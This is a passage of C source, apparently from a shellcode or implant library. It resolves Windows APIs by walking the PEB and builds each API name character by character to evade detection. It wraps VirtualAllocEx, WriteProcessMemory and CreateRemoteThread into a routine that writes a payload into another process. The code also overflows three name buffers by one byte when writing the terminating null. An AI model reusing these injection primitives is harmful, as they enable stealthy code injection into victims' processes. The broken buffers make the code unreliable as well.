vaex = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, vaexName);
|
|
if (vaex == NULL) return NULL;
|
|
|
|
return vaex(proc, startAddr, sz, allocType, protect);
|
|
}
|
|
|
|
int pic_virtual_free_ex(void *proc, void *addr, size_t sz, uint32_t type)
|
|
{
|
|
virtual_free_ex vf;
|
|
char vfName[13];
|
|
|
|
vfName[0] = 'V';
|
|
vfName[1] = 'i';
|
|
vfName[2] = 'r';
|
|
vfName[3] = 't';
|
|
vfName[4] = 'u';
|
|
vfName[5] = 'a';
|
|
vfName[6] = 'l';
|
|
vfName[7] = 'F';
|
|
vfName[8] = 'r';
|
|
vfName[9] = 'e';
|
|
vfName[10] = 'e';
|
|
vfName[11] = 'E';
|
|
vfName[12] = 'x';
|
|
vfName[13] = '\x00';
|
|
|
|
vf = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, vfName);
|
|
if (NULL == vf) return 0;
|
|
|
|
return vf(proc, addr, sz, type);
|
|
}
|
|
|
|
|
|
int pic_write_proc_mem(void *proc, void *destAddr,
|
|
void *srcBuf, size_t sz, size_t *szWritten)
|
|
{
|
|
write_process_memory wpm;
|
|
char wpmName[18];
|
|
|
|
wpmName[0] = 'W';
|
|
wpmName[1] = 'r';
|
|
wpmName[2] = 'i';
|
|
wpmName[3] = 't';
|
|
wpmName[4] = 'e';
|
|
wpmName[5] = 'P';
|
|
wpmName[6] = 'r';
|
|
wpmName[7] = 'o';
|
|
wpmName[8] = 'c';
|
|
wpmName[9] = 'e';
|
|
wpmName[10] = 's';
|
|
wpmName[11] = 's';
|
|
wpmName[12] = 'M';
|
|
wpmName[13] = 'e';
|
|
wpmName[14] = 'm';
|
|
wpmName[15] = 'o';
|
|
wpmName[16] = 'r';
|
|
wpmName[17] = 'y';
|
|
wpmName[18] = '\x00';
|
|
|
|
wpm = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, wpmName);
|
|
if (wpm == NULL) return 0;
|
|
return wpm(proc, destAddr, srcBuf, sz, szWritten);
|
|
}
|
|
|
|
//proc has to be opened in the first place
|
|
proc_injection *pic_inject_into_proc(void *proc, void *data, size_t dataSz)
|
|
{
|
|
proc_injection *pi;
|
|
void *remMem;
|
|
size_t szWritten;
|
|
|
|
remMem = pic_virtual_alloc_ex(proc, NULL, dataSz, MEM_COMMIT,
|
|
PAGE_READWRITE);
|
|
if (NULL == remMem) return NULL;
|
|
|
|
if (0 == pic_write_proc_mem(proc, remMem, data, dataSz, &szWritten))
|
|
{
|
|
pic_virtual_free_ex(proc, remMem, dataSz, MEM_DECOMMIT);
|
|
return NULL;
|
|
}
|
|
pi = pic_malloc(sizeof (proc_injection));
|
|
pi->mem = remMem;
|
|
pi->memSz = dataSz;
|
|
pi->proc = proc;
|
|
return pi;
|
|
}
|
|
|
|
//frees the remote memory and the proc_injection struct
|
|
void pic_inject_into_proc_free(proc_injection *pi)
|
|
{
|
|
pic_virtual_free_ex(pi->proc, pi->mem, pi->memSz, MEM_DECOMMIT);
|
|
pic_free(pi);
|
|
return;
|
|
}
|
|
|
|
void *pic_create_remote_thread(void *proc, void *secAttrs,
|
|
size_t stackSz, void *entry,
|
|
void *param, uint32_t flags, uint32_t *tid)
|
|
{
|
|
create_remote_thread crt;
|
|
char crtName[18];
|
|
|
|
crtName[0] = 'C';
|
|
crtName[1] = 'r';
|
|
crtName[2] = 'e';
|
|
crtName[3] = 'a';
|
|
crtName[4] = 't';
|
|
crtName[5] = 'e';
|
|
crtName[6] = 'R';
|
|
crtName[7] = 'e';
|
|
crtName[8] = 'm';
|
|
crtName[9] = 'o';
|
|
crtName[10] = 't';
|
|
crtName[11] = 'e';
|
|
crtName[12] = 'T';
|
|
crtName[13] = 'h';
|
|
crtName[14] = 'r';
|
|
crtName[15] = 'e';
|
|
crtName[16] = 'a';
|
|
crtName[17] = 'd';
|
|
crtName[18] = '\x00';
|
|
|
|
crt = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, crtName);
|
|
if (NULL == crt) return NULL;
|
|
|
|
return crt(proc, secAttrs, stackSz, entry, param, flags, tid);
|
|
}
|
|
|
|
void *pic_create_thread(void *attr, size_t stackSz, void *startFunc,
|
|
void *param, uint32_t flags, uint32_t *id) {
|
|
create_thread crt;
|
|
char crtName[13];
|
|
|
|
crtName[0] = 'C';
|
|
crtName[1] = 'r';
|
|
crtName[2] = 'e';
|
|
crtName[3] = 'a';
|
|
crtName[4] = 't';
|
|
crtName[5] = 'e';
|
|
crtName[6] = 'T';
|
|
crtName[7] = 'h';
|
|
crtName[8] = 'r';
|
|
crtName[9] = 'e';
|
|
crtName[10] = 'a';
|
|
crtName[11] = 'd';
|
|
crtName[12] = '\x00';
|
|
|
|
crt = get_function_from_lib_by_kernelMZ(get_peb_data(0), NULL,
|
|
crtName);
|
|
if (NULL == crt) return NULL;
|
|
return crt(attr, stackSz, startFunc, param, flags, id);
|
|
}
|
|
|
|
char *pic_get_windows_directory() {
|
|
char *path;
|
|
char gwd[27];
|
|
get_windows_directory gwdFunc;
|
|
|
|
gwd[0] = 'G';
|
|
gwd[1] = 'e';
|
|
gwd[2] = 't';
|
|
gwd[3] = 'S';
|
|
gwd[4] = 'y';
|
|
gwd[5] = 's';
|
|
gwd[6] = 't';
|
|
gwd[7] = 'e';
|
|
gwd[8] = 'm';
|
|
gwd[9] = 'W';
|
|
gwd[10] = 'i';
|
|
gwd[11] = 'n';
|
|
gwd[12] = 'd';
|
|
gwd[13] = 'o';
|
|
gwd[14] = 'w';
|
|
gwd[15] = 's';
|
|
gwd[16] = 'D';
|
|
gwd[17] = 'i';
|
|
gwd[18] = 'r';
|
|
gwd[19] = 'e';
|
|
gwd[20] = 'c';
|
|
gwd[21] = 't';
|
|
gwd[22] = 'o';
|
|
gwd[23] = 'r';
|
|
gwd[24] = 'y';
|
|
gwd[25] = 'A';
|
|
gwd[26] = '\x00';
|
|
|
|
gwdFunc = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, gwd);
|
|
if (NULL == gwdFunc) return NULL;
|
|
|
|
path = pic_malloc(1024);
|
|
if (0 == gwdFunc(path, 1024)) {
|
|
pic_free(path);
|
|
return NULL;
|
|
}
|
|
return path;
|
|
}
|
|
|
|
uint32_t pic_get_last_error() {
|
|
get_last_error gleFunc;
|
|
char gle[13];
|
|
|
|
gle[0] = 'G';
|
|
gle[1] = 'e';
|
|
gle[2] = 't';
|
|
gle[3] = 'L';
|
|
gle[4] = 'a';
|
|
gle[5] = 's';
|
|
gle[6] = 't';
|
|
gle[7] = 'E';
|
|
gle[8] = 'r';
|
|
gle[9] = 'r';
|
|
gle[10] = 'o';
|
|
gle[11] = 'r';
|
|
gle[12] = '\x00';
|
|
|
|
gleFunc = get_function_from_lib_by_kernelMZ(get_peb_data(0),
|
|
NULL, gle);
|
|
return gleFunc();
|
|
}
|